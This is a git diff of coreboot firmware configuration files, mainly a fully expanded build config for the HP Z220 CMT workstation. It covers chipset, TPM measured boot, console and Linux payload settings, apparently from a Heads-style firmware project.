+CONFIG_ECAM_MMCONF_LENGTH=0x04000000 # CONFIG_PCI_ALLOW_BUS_MASTER is not set +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y +# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +CONFIG_USE_DDR3=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +# CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_SPI_FLASH_ADESTO=y +CONFIG_SPI_FLASH_AMIC=y +CONFIG_SPI_FLASH_ATMEL=y +CONFIG_SPI_FLASH_EON=y +CONFIG_SPI_FLASH_MACRONIX=y +CONFIG_SPI_FLASH_SPANSION=y +CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_NO_UART_ON_SUPERIO=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +CONFIG_HAVE_USBDEBUG=y +CONFIG_HAVE_USBDEBUG_OPTIONS=y CONFIG_USBDEBUG=y +CONFIG_USBDEBUG_IN_PRE_RAM=y +CONFIG_USBDEBUG_DEFAULT_PORT=0 +CONFIG_USBDEBUG_DONGLE_STD=y +# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set +# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set +# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set +CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_VPD is not set +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_INTEL_INT15=y +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_GFX_GMA=y +CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y +CONFIG_GFX_GMA_DYN_CPU=y +CONFIG_GFX_GMA_GENERATION="Ironlake" +CONFIG_GFX_GMA_PCH="Cougar_Point" +CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" +CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y +CONFIG_DRIVERS_MC146818=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +CONFIG_DRIVERS_RICOH_RCE822=y +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set +CONFIG_TPM1=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM1=y +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +# CONFIG_BOOTMEDIA_LOCK_NONE is not set CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y +# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +# CONFIG_SPKMODEM is not set +CONFIG_CONSOLE_USB=y +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y +CONFIG_USE_WATCHDOG_ON_BOOT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# + +# +# General Debug Settings +# +# CONFIG_FATAL_ASSERTS is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_RAM_SETUP=y +# CONFIG_DEBUG_RAM_SETUP is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_RAMSTAGE_ADA=y +CONFIG_RAMSTAGE_LIBHWBASE=y +CONFIG_HWBASE_DYNAMIC_MMIO=y +CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 +CONFIG_HWBASE_DIRECT_PCIDEV=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-z220-cmt.config b/config/coreboot-z220-cmt.config index 3acb16396..50e4fc974 100644 --- a/config/coreboot-z220-cmt.config +++ b/config/coreboot-z220-cmt.config @@ -1,35 +1,715 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +# CONFIG_USE_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set CONFIG_VENDOR_HP=y +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_MAINBOARD_PART_NUMBER="HP Z220 CMT Workstation" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="hp/snb_ivb_desktops" +CONFIG_VGA_BIOS_ID="8086,0106" +CONFIG_DIMM_MAX=4 +CONFIG_DIMM_SPD_SIZE=256 +CONFIG_FMDFILE="" +# CONFIG_NO_POST is not set +CONFIG_MAINBOARD_VENDOR="HP" CONFIG_CBFS_SIZE=0xFE4FFF +CONFIG_CONSOLE_SERIAL=y +CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=2160 +CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=3840 +CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y +CONFIG_POST_DEVICE=y +CONFIG_POST_IO=y +CONFIG_UART_FOR_CONSOLE=0 +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VARIANT_DIR="z220_cmt_workstation" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +# CONFIG_VGA_BIOS is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Hewlett-Packard" +CONFIG_DRAM_RESET_GATE_GPIO=60 +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/data.vbt" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" +CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +# CONFIG_CONSOLE_POST is not set +CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xfefe0000 +CONFIG_DCACHE_RAM_SIZE=0x20000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y +CONFIG_SPI_FLASH_WINBOND=y +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="@BLOB_DIR@/z220/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/z220/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 CONFIG_PCIEXP_DEFAULT_MAX_RESIZABLE_BAR_BITS=63 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_BOARD_HP_280_G2 is not set +# CONFIG_BOARD_HP_COMPAQ_8200_ELITE_SFF_PC is not set +# CONFIG_BOARD_HP_COMPAQ_ELITE_8300_USDT is not set +# CONFIG_BOARD_HP_ELITEBOOK_820_G2 is not set +# CONFIG_BOARD_HP_FOLIO_9480M is not set CONFIG_BOARD_HP_Z220_CMT_WORKSTATION=y +# CONFIG_BOARD_HP_Z220_SFF_WORKSTATION is not set +# CONFIG_BOARD_HP_2170P is not set +# CONFIG_BOARD_HP_2560P is not set +# CONFIG_BOARD_HP_2570P is not set +# CONFIG_BOARD_HP_2760P is not set +# CONFIG_BOARD_HP_8460P is not set +# CONFIG_BOARD_HP_8470P is not set +# CONFIG_BOARD_HP_8770W is not set +# CONFIG_BOARD_HP_FOLIO_9470M is not set +# CONFIG_BOARD_HP_PROBOOK_6360B is not set +# CONFIG_BOARD_HP_REVOLVE_810_G1 is not set +CONFIG_BOARD_HP_SNB_IVB_DESKTOPS_COMMON=y +# CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Hewlett-Packard Z220 CMT Workstation" CONFIG_HAVE_IFD_BIN=y +CONFIG_PCIEXP_HOTPLUG_BUSES=8 +CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="PNP0F13" +CONFIG_GFX_GMA_PANEL_1_PORT="eDP" +CONFIG_TTYS0_BAUD=115200 +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_L1_SUB_STATE=y CONFIG_PCIEXP_CLK_PM=y +CONFIG_GFX_GMA_PANEL_1_ON_EDP=y +CONFIG_DRIVERS_UART_8250IO=y +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="nohz=off quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=16384 +CONFIG_ROM_SIZE=0x01000000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 +# end of Mainboard + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="northbridge/intel/sandybridge/chipset.cb" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x100000 +CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_SERIRQ_CONTINUOUS_MODE=y +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 +CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 +CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 +CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 +CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 + +# +# CPU +# +CONFIG_CPU_INTEL_MODEL_206AX=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_TIMEBASE=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_MICROCODE_UPDATE_PRE_RAM=y +CONFIG_PARALLEL_MP=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_TSC_SYNC_MFENCE=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set + +# +# Northbridge +# +CONFIG_USE_NATIVE_RAMINIT=y +CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y +# CONFIG_NATIVE_RAMINIT_IGNORE_MAX_MEM_FUSES is not set +# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_MAX_DIMMS is not set +# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set +# CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set +CONFIG_RAMINIT_ENABLE_ECC=y + +# +# Southbridge +# +CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y +CONFIG_SOUTHBRIDGE_INTEL_BD82X6X=y +# CONFIG_HIDE_MEI_ON_ERROR is not set +CONFIG_PCIEXP_HOTPLUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_ME=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y +CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set # CONFIG_INTEL_CHIPSET_LOCKDOWN is not set +CONFIG_TCO_SPACE_NOT_YET_SPLIT=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# +CONFIG_SUPERIO_NUVOTON_COMMON_PRE_RAM=y +CONFIG_SUPERIO_NUVOTON_NPCD378=y + +# +# Embedded Controllers +# + +# +# Intel Firmware +# CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_CHECK_ME is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +# CONFIG_USE_ME_CLEANER is not set +CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y CONFIG_HAVE_GBE_BIN=y +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_HAVE_CF9_RESET=y 